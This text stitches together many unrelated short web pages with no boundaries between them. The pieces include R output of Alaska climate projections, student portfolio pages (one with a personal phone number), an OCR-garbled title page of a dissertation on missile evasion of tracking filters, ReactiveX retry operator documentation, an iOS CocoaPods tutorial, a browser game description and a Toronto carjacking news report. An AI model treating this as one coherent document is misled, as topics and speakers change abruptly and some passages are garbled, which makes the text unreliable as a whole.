filter(x, RCP == "6.0" & Model == "GFDL-CM3" & Decade == 2050)
#> # A tibble: 3,867 x 8
#> RCP Model Var Group Location Decade Season Mean
#> <fctr> <fctr> <fctr> <chr> <chr> <int> <fctr> <dbl>
#> 1 6.0 GFDL-CM3 tas Alaska Adak Station 2050 Annual 7.20
#> 2 6.0 GFDL-CM3 tas Alaska Afognak 2050 Annual 8.60
#> 3 6.0 GFDL-CM3 tas Alaska Akhiok 2050 Annual 8.40
#> 4 6.0 GFDL-CM3 tas Alaska Akiachak 2050 Annual 3.40
#> 5 6.0 GFDL-CM3 tas Alaska Akiak 2050 Annual 3.30
#> 6 6.0 GFDL-CM3 tas Alaska Akutan 2050 Annual 7.60
#> 7 6.0 GFDL-CM3 tas Alaska Alakanuk 2050 Annual 3.80
#> 8 6.0 GFDL-CM3 tas Alaska Alatna 2050 Annual -1.70
#> 9 6.0 GFDL-CM3 tas Alaska Aleknagik 2050 Annual 5.40
#> 10 6.0 GFDL-CM3 tas Alaska Aleut Village 2050 Annual 8.60
#> # ... with 3,857 more rows
The snapclim
package is essentially a data package. It provides a simplified and convenient interface in R enabling easy access to a large amount of SNAP climate data spread over multiple collections, stemming from different sources and existing for different purposes. It does not provide functionality for performing statistical analysis and graphing, which is provided by R in general. Useful stock functions pertaining specifically to analyzing SNAP data, including climate data accessed with snapclim
, are available in the snapstat
package (under development).
For more information on the climate probability distributions from which regional climate statistics are calculated, see the snapdist
package (under development) or SNAP’s Climate Analytics Shiny app for working examples.


Hi! I'm Soham. Currently pursuing Masters in Computer science at California State University Eastbay. I like to develop different kind of web applications. Mostly I have experience in a web based Document management system.
My Technical proficiencies include:
Programming Languages: Java, Spring Framework, JavaScript, ExtJS
Database: MySQL, Oracle, SQL Server
Servers: Apache Tomcat
My interests other than IT professional are Travelling, listening Musics and watching movies.


February 20, 2020
November 05, 2019
August 09, 2019
May 08, 2019
February 26, 2019
November 08, 2018
August 09, 2018
May 09, 2018
February 15, 2018


Event 1
November 21st 2018: Food distribution in parternship with Share the Warmth.
Event 2
November 21st 2018: Distribution of winter clothes. Individual donors are welcomed.
Event 3
November 21st 2018: Holiday gifts donations.
Event 4
November 21st 2018


HOW AM I ???
- I am Alaa Hamdan ,
- I graduated form Yarmouk University with a major in Management Iinformation Systems , a major I loved.
- In 2017 , I got an honor because I was superior and the first in my department
- I chose this training in the field of software development because I think to make it my specialty.
- I aspire to be creative and design the best websties in the world
there top ten of dessert
- Tiramisu
- Chocolate mousse in minutes
- Angel food cake
- Roasted strawberry crumble
- Apple and butterscotch pie
- Almond and date cake
- Maltesers tiramisu
- Choc a block
- Chocolate banoffee pie
- Chocolate & mint cheesecake


Welcome CRWA Staff and Interns
Add a CSO or Cyanobacteria event
- First enter the CSO or
Cyanobacteria event for the appropriate boathouse
-
Then run the script to update the flagging page
Update or end a CSO or Cyanobacteria event
-
First look up the ID number for the event you want to update.
-
Then update or delete the events.
Note: You must update the cyanobacteria event for each boathouse individually.


Suboptimal Period Design for a Maneuvering Missile to Evade Tracking Filters by
Lin- Ying Lai
Dissertation submitted to the Faculty of the Virginia Polytechnic Institute and State University in partial fulfillment of the requirements for the degree of Doctor of Philosophy in
Aerospace and Ocean Engineering
APPROVED:
Harold L. Stalford, Chdirman
—_ Z ” Eugene M. Cliff "Frederick Hi uty, ~ John A. Burns “ ' Scott L. Henaricks July, 1988
Blacksburg, Virginia


MY PROFILE
PERSONAL INFORMATION
MY SKILLS
(Computer Science Engineer)
C/C++ ------------------ 90%
JAVA -------------- 70%
HTML5/CSS ------ 30%
Adobe Flash -------------- 69%
MAYA --------
40%
CONTACT INFORMATION
(Computer Science Engineer)
NAME -
EMAIL -
COMMENT-
PUNJABI BAGH
+91-7838327834
<EMAIL_ADDRESS>Copyright © 2017 MyProfile. All Rights Reserved | Designed by Sidhant Mittal


Search for Clues
One of history's greatest villains has set their sights on Wikipedia and stolen an article!
Put your sleuthing skills to the test and capture them before they escape and the article disappears from Wikipedia's servers forever! Disclaimer: No Wikipedia articles were harmed in the making of this game.
How To Play
As the game starts, you'll be presented with a Wikipedia article - the last-known location of the thief. By searching for clues, doing some research, and examining the articles they may have gone to next you should be able to stay on their trail.
Due to technical limitations, the game isn't able to track your movements directly as you click in the embedded Wikipedia window. For doing research, you can use the embedded window or open new browser tabs - regardless, travel must be done via the game interface.
Click the button to start playing.
Getting A Warrant
Once you've learned enough about your suspect to identify them, make a choice on the Suspect tab to obtain your warrant. Now you just have to catch them - keep following the clues they've left behind! Be careful - when you catch up to the suspect, you'll need to have a warrant matching their identity or the Wikipedia police (I swear that's a real thing) will have to let them go.
Capture
When you finally catch up to the thief, you'll be given a warning that they're somewhere in the vicinity. Make sure you have a warrant, then search for clues one last time to unleash the local constabulary and bring your quarry to justice.
A list of articles your suspect may have fled through. Use the available clues to pick the correct one.
See what witnesses can tell you about the suspect or where they were going.
Use the clues you've gathered to identify the suspect and obtain a warrant - you'll need to have one when you catch them.
Credits
Where on Wikipedia was created by Adam Lovatt and Bryan Kenny as an homage to the Carmen Sandiego game series.
Comments and bug reports can be directed to the project's Github page.


Home
About us
mission
vision
team
Services
graphic designing
management
mobile app
Contact
Registration
Help line


Interface IDomImplementation
The IDomImplementation interface provides a number of methods for performing operations that are independent of any particular instance of the document object model.
Namespace: SharpVectors.Dom
Assembly: SharpVectors.Core.dll
Syntax
public interface IDomImplementation
Methods
CreateDocument(String, String, IDocumentType)
Creates an XML IDocument object of the specified type with its document element. HTML-only DOM implementations do not need to implement this method.
Declaration
IDocument CreateDocument(string namespaceURI, string qualifiedName, IDocumentType doctype)
Parameters
| Type | Name | Description |
|---|---|---|
| String | namespaceURI | namespace URI of the document element to create. |
| String | qualifiedName | qualified name of the document element to be created. |
| IDocumentType | doctype | type of document to be created or null.
When |
Returns
| Type | Description |
|---|---|
| IDocument | A new IDocument object. |
Exceptions
| Type | Condition |
|---|---|
| DomException | INVALID_CHARACTER_ERR: Raised if the specified qualified name contains an illegal character. NAMESPACE_ERR: Raised if the doctype has already been used with a different
document or was created from a different implementation.
|
CreateDocumentType(String, String, String)
Creates an empty IDocumentType node. Entity declarations and notations are not made available.
Declaration
IDocumentType CreateDocumentType(string qualifiedName, string publicId, string systemId)
Parameters
| Type | Name | Description |
|---|---|---|
| String | qualifiedName | qualified name of the document type to be created. |
| String | publicId | external subset public identifier. |
| String | systemId | external subset system identifier. |
Returns
| Type | Description |
|---|---|
| IDocumentType | A new IDocumentType node with |
Remarks
Entity reference expansions and default attribute additions do not occur. It is expected that a future version of the DOM will provide a way for populating a IDocumentType. HTML-only DOM implementations do not need to implement this method.
Exceptions
| Type | Condition |
|---|---|
| DomException | INVALID_CHARACTER_ERR: Raised if the specified qualified name contains an illegal character.
NAMESPACE_ERR: Raised if the |
HasFeature(String, String)
Test if the DOM implementation implements a specific feature.
Declaration
bool HasFeature(string feature, string version)
Parameters
| Type | Name | Description |
|---|---|---|
| String | feature | name of the feature to test (case-insensitive). The values used by DOM features are defined throughout the DOM Level 2 specifications and listed in the section. The name must be an XML name. To avoid possible conflicts, as a convention, names referring to features defined outside the DOM specification should be made unique by reversing the name of the Internet domain name of the person (or the organization that the person belongs to) who defines the feature, component by component, and using this as a prefix. For instance, the W3C SVG Working Group defines the feature "org.w3c.dom.svg". |
| String | version | is the version number of the feature to test. In Level 2, the string can be either "2.0" or "1.0". If the version is not specified, supporting any version of the feature causes the method to return true. |
Returns
| Type | Description |
|---|---|
| Boolean | true if the feature is implemented in the specified version, false otherwise. |


Setting Up iOS Logic Tests [Part 1]
I’m continuing on my task to get a full project using iOS unit tests and integration tests. My first step is to set up logic tests in Xcode. I recently watched an excellent unit testing course on Lynda. In that course, Ron Lisle goes over the advantages of using logic tests. The most compelling factor in using logic tests over application tests is speed.
Application tests actually bootstrap the entire app in order to run. This takes a considerable amount of time and can be a bottleneck. You want your unit tests to run fast. Logic tests will build the main application bundle, but then run in isolation and tests methods on any class you are interested in. I decided to write as many logic tests as possible, and only switch to application tests when logic tests could not get the job done. I am anticipating that I will need to use application tests once I start testing view controllers, but I won’t know until I get there.
Setting up the project
I am starting from a blank slate, but I have one caveat: I want to use CocoaPods for all of my external library maintenance. If you haven’t heard of CocoaPods, you should read up on it. CocoaPods is a way to manage your 3rd party dependencies more easily. It supports updating libraries in place and removes a lot of pain with integrating 3rd party code. As you will see, however, using CocoaPods with logic tests makes things a little more complex during setup.
To begin, start a new project without any unit tests included.
Next, make sure you have the cocoa pods gem set up . There are directions CocoaPods Setup if you’ve never done this before. After that, let’s bring in 2 3rd party libraries by creating a podspec file and telling CocoaPods to set everything up for us.
Set up a Podspec file
- Close Xcode if it’s still open
- Create a file in the base folder of your project named
Podfile
with no extension - Add a line telling CocoaPods the platform and version of iOS you are using.
platform :ios, '6.0'
- Add lines for 2 pods (these are really dependencies on 3rd party code)
pod ‘SVProgressHUD’
pod ‘MagicalRecord’
- Save your file and close it
- Open terminal, navigate to the base folder of your project, and enter the following line
pod install
- You should see some status lines go by, then a line instructing you to use a workspace now instead of the project file. This is because CocoaPods creates a second project named
Pods
and adds it and your original project to a workspace named after your project. In my case, it created aLogicTests.xcworkspace file
. If I open that file now, I can see that I have aPods
project and aLogicTests
project inside of the workspace.
We’re going to break here for now. Next, we’ll start making use of the 3rd party libraries we included via CocoaPods. After that, we’ll finally set up the logic tests and get them running.


UCSD gave me the chance to gain insights on user experience for mobile music apps. My team interviewed several people about their preferences and opinions on musics apps such as Spotfiy, Soundcloud, and Pandora, and also recorded walkthroughs of their actions in the app. We then gathered all the data and look for the pattern in the way the users operated the music app for specific action. Then we created user scenarios to help us simulate how a good redesign of the app would be like.
Click here to view the interviews we conducted and the user scenarios were came up with. The follow data also show comparative scenarios between how different music apps are used.
After doing substantial research on the user expereinces in numerous different music apps such as Spotify, Soundcloud, and Apple Music, we redesgined and created our own layout of the ideal mobile music app. First, we had to brainsotrm for a significant while about how an ideal app should operate and look like. Then we used the software Axure to photoshop and design the layout. The process of the project waas painstakingly time-consuming but extremely rewarding.
Here are the walkthroughs of two scenarios I made on the Invision website: Playlist Creation and Adding a new song to a playlist.
I learned many OOP lanagues in UCSD such as Java, C++, and Python. Object Oriented Programming allowed me to explore the potential of software engineering in innovation and optimization. Through encapsulation, polymorphism, inheritance, and abstraction, there are countless things you can do to create new technologies.
Another important thing I learned in UCSD is the importance of teamwork. No matter how smart one individual is, one cannot succeed without collaboration and communication. In many team projects, I had the chance to be a key player and also a team player who made sure every team member utilizes his or her skills to contribute to the project.


RxClojure: none
RxClojure does not implement the Retry operator.
RxCpp: retry
RxCpp implements this operator as retry
:
retry
takes a single argument, a count of the number of times it should try
resubscribing to the source Observable when it encounters errors. If this count is exceeded,
retry
will not attempt to resubscribe and will instead pass the
onError
notification to its observers.
RxGroovy: retry
and retryWhen
RxGroovy has two versions of this operator: retry
and retryWhen
.
One variant of retry
takes no parameters. It will continue to resubscribe to and
mirror the source Observable no matter how many onError
notifications it
receives.
Another variant of retry
takes a single parameter: a count of the number of
times it should try to resubscribe to the source Observable when it encounters errors. If
this count is exceeded, retry
will not attempt to resubscribe again and will
instead pass the latest onError
notification to its observers.
A third variant of retry
takes a predicate function as a parameter. You write
this function to accept two arguments: an Integer count of how many retries have taken place
thusfar, and a Throwable indicating the error that caused the onError
notification. This function returns a Boolean to indicate whether or not retry
should resubscribe to and mirror the source Observable. If it does not, then
retry
passes the latest onError
notification to its observers.
retry
by default operates on the trampoline
Scheduler.
The retryWhen
operator is similar to retry
but decides whether or
not to resubscribe to and mirror the source Observable by passing the Throwable from the
onError
notification to a function that generates a second Observable, and
observes its result to determine what to do. If that result is an emitted item,
retryWhen
resubscribes to and mirrors the source and the process repeats; if
that result is an onError
notification, retryWhen
passes this
notification on to its observers and terminates.
retryWhen
by default operates on the trampoline
Scheduler, and
there is also a version that accepts a Scheduler as a parameter.
RxJava: retry
and retryWhen
RxJava has two versions of this operator: retry
and retryWhen
.
One variant of retry
takes no parameters. It will continue to resubscribe to and
mirror the source Observable no matter how many onError
notifications it
receives.
Another variant of retry
takes a single parameter: a count of the number of
times it should try to resubscribe to the source Observable when it encounters errors. If
this count is exceeded, retry
will not attempt to resubscribe again and will
instead pass the latest onError
notification to its observers.
A third variant of retry
takes a predicate function as a parameter. You write
this function to accept two arguments: an Integer count of how many retries have taken place
thusfar, and a Throwable indicating the error that caused the onError
notification. This function returns a Boolean to indicate whether or not retry
should resubscribe to and mirror the source Observable. If it does not, then
retry
passes the latest onError
notification to its observers.
retry
by default operates on the trampoline
Scheduler.
The retryWhen
operator is similar to retry
but decides whether or
not to resubscribe to and mirror the source Observable by passing the Throwable from the
onError
notification to a function that generates a second Observable, and
observes its result to determine what to do. If that result is an emitted item,
retryWhen
resubscribes to and mirrors the source and the process repeats; if that
result is an onError
notification, retryWhen
passes this
notification on to its observers and terminates.
retryWhen
by default operates on the trampoline
Scheduler, and there
is also a version that accepts a Scheduler as a parameter.
Sample code:
Observable.create((Subscriber super String> s) -> {
System.out.println("subscribing");
s.onError(new RuntimeException("always fails"));
}).retryWhen(attempts -> {
return attempts.zipWith(Observable.range(1, 3), (n, i) -> i).flatMap(i -> {
System.out.println("delay retry by " + i + " second(s)");
return Observable.timer(i, TimeUnit.SECONDS);
});
}).toBlocking().forEach(System.out::println);
subscribing
delay retry by 1 second(s)
subscribing
delay retry by 2 second(s)
subscribing
delay retry by 3 second(s)
subscribing
RxJS: retry
RxJS implements this operator as retry
.
One variant of retry
takes no parameters. It will continue to resubscribe to and
mirror the source Observable no matter how many onError
notifications it
receives.
Another variant of retry
takes a single parameter: a count of the number of
onError
notification it should be willing to accept before it too fails and
passes the onError
to its observers. For example, retry(2)
means
that retry
will resubscribe to and mirror the source Observable the first time
it receives an onError
notification, but will terminate with an error the second
time this happens.
retry
is found in the following distributions:
rx.js
rx.all.js
rx.all.compat.js
rx.compat.js
rx.lite.js
rx.lite.compat.js
RxKotlin: retry
and retryWhen
RxKotlin has two versions of this operator: retry
and retryWhen
.
One variant of retry
takes no parameters. It will continue to resubscribe to and
mirror the source Observable no matter how many onError
notifications it
receives.
Another variant of retry
takes a single parameter: a count of the number of
times it should try to resubscribe to the source Observable when it encounters errors. If
this count is exceeded, retry
will not attempt to resubscribe again and will
instead pass the latest onError
notification to its observers.
A third variant of retry
takes a predicate function as a parameter. You write
this function to accept two arguments: an Integer count of how many retries have taken place
thusfar, and a Throwable indicating the error that caused the onError
notification. This function returns a Boolean to indicate whether or not retry
should resubscribe to and mirror the source Observable. If it does not, then
retry
passes the latest onError
notification to its observers.
The retryWhen
operator is similar to retry
but decides whether or
not to resubscribe to and mirror the source Observable by passing the Throwable from the
onError
notification to a function that generates a second Observable, and
observes its result to determine what to do. If that result is an emitted item,
retryWhen
resubscribes to and mirrors the source and the process repeats; if
that result is an onError
notification, retryWhen
passes this
notification on to its observers and terminates.
Rx.NET: Retry
Rx.NET implements this operator as Retry
.
One variant of Retry
takes no parameters. It will continue to resubscribe to and
mirror the source Observable no matter how many onError
notifications it
receives.
Another variant of Retry
takes a single parameter: a count of the number of
onError
notification it should be willing to accept before it too fails and
passes the onError
to its observers. For example, Retry(2)
means
that Retry
will resubscribe to and mirror the source Observable the first time
it receives an onError
notification, but will terminate with an error the second
time this happens.
RxPY: retry
RxPY implements this operator as retry
:
retry
takes a single optional parameter, a count of the number of times it
should try resubscribing to and mirroring the source Observable when it encounters errors. If
this count is exceeded, retry
will not attempt to resubscribe and will instead
pass the onError
notification to its observers. If you omit this parameter,
retry
will attempt to resubscribe and mirror indefinitely, no matter how many
onError
notifications it receives.
Rx.rb: retry
and retry_infinitely
Rx.rb has two versions of this operator: retry
and retry_infinitely
.
retry
takes a single optional parameter, a count of the number of times it
should try resubscribing to and mirroring the source Observable when it encounters errors. If
this count is exceeded, retry
will not attempt to resubscribe and will instead
pass the onError
notification to its observers.
retryInfinitely
, on the other hand, will attempt to resubscribe to and mirror the
source Observable indefinitely, no matter how many onError
notifications it
receives.
RxScala: retry
and retryWhen
RxScala has two versions of this operator: retry
and retryWhen
.
One variant of retry
takes no parameters. It will continue to resubscribe to and
mirror the source Observable no matter how many onError
notifications it
receives.
Another variant of retry
takes a single parameter: a count of the number of
times it should try to resubscribe to the source Observable when it encounters errors. If
this count is exceeded, retry
will not attempt to resubscribe again and will
instead pass the latest onError
notification to its observers.
A third variant of retry
takes a predicate function as a parameter. You write
this function to accept two arguments: an Int count of how many retries have taken place
thusfar, and a Throwable indicating the error that caused the onError
notification. This function returns a Boolean to indicate whether or not retry
should resubscribe to and mirror the source Observable. If it does not, then
retry
passes the latest onError
notification to its observers.
The retryWhen
operator is similar to retry
but decides whether or
not to resubscribe to and mirror the source Observable by passing the Throwable from the
onError
notification to a function that generates a second Observable, and
observes its result to determine what to do. If that result is an emitted item,
retryWhen
resubscribes to and mirrors the source and the process repeats; if
that result is an onError
notification, retryWhen
passes this
notification on to its observers and terminates.


Error. Please check required fields and/or check to make sure the user does not already exist.
| Date Added | Username | Context URL | User URL | Karma | Frequency | Comments |
|---|---|---|---|---|---|---|
| {{pUser.dateAdded | date : 'MMM d, y h:mm a' }} | {{pUser.username}} | {{pUser.contextUrl}} | {{pUser.userUrl}} | {{pUser.karma}} | {{pUser.freq}} | {{pUser.comments}} |


High Priest Sylvain:
But it may be difficult for you obtain an audience with Preacher Sla. His philosophy differs somewhat from ours...
First seek out
Priestess Pupina
, who will be able to guide you in contacting Preacher Sla.


Library statistics
Fragmentation Spectra
{{ total_annotations }}
curated (total)
{{ total_spectra }}
spectra
{{ percent_spectra_curated }}%
curated (percent)
Molecules
{{ total_annotated }}
with spectra (total)
{{ total_molecules }}
molecules
{{ percent_molecules_annotated }}%
with spectra (percent)
Tags
{{ total_taggings }}
taggings
{{ total_tagged }}
tagged molecules
{{ percent_molecules_tagged }}%
tagged molecules (percent)


SteamClean
Reviews
Communications
Reviews
Campaigns
Feedback
Leads
Overview
Home
Vendors
App Center
Employees
Transactions
Reports
Taxes
Marketing
Marketing
Customers
i
All your marketing communications are paused. Restart them here.
NEXT STEPS
Import Email Addresses
Add emails for existing customers.
When you have reviews they'll show up here.
Who can see my reviews?
Reviews are private and appear on this page only. In the future, we’ll share reviews to popular websites so you can build your online reputation. When that happens, we’ll let you know in advance.


3 men wanted in carjacking investigation
by News staffToronto police are looking for three suspects in connection with a carjacking investigation.
Investigators say a 56-year-old man was stopped at a stop sign in the area of Finch Avenue West and Senlac Road on Friday just after 3:30 p.m.
It’s alleged he was struck from behind by a dark-coloured SUV. The victim got out of his vehicle to assess the damage.
Three men got out of the suspect vehicle and one of the suspects allegedly produced a handgun and pointed it at the victim. They demanded his car keys and cellphone before getting in his vehicle and driving away.
The dark-coloured SUV was also driven away by the suspects.
The stolen vehicle is described as black four-door 2015 Mercedes Benz S5A with the licence plate CHRJ 747.
The suspect with the gun is described as a 18-25-year-old man, five foot nine or 10 inches, 145-150 pounds and has brown eyes. He was wearing a black balaclava and a sports jacket.
Anyone with information is asked to contact police.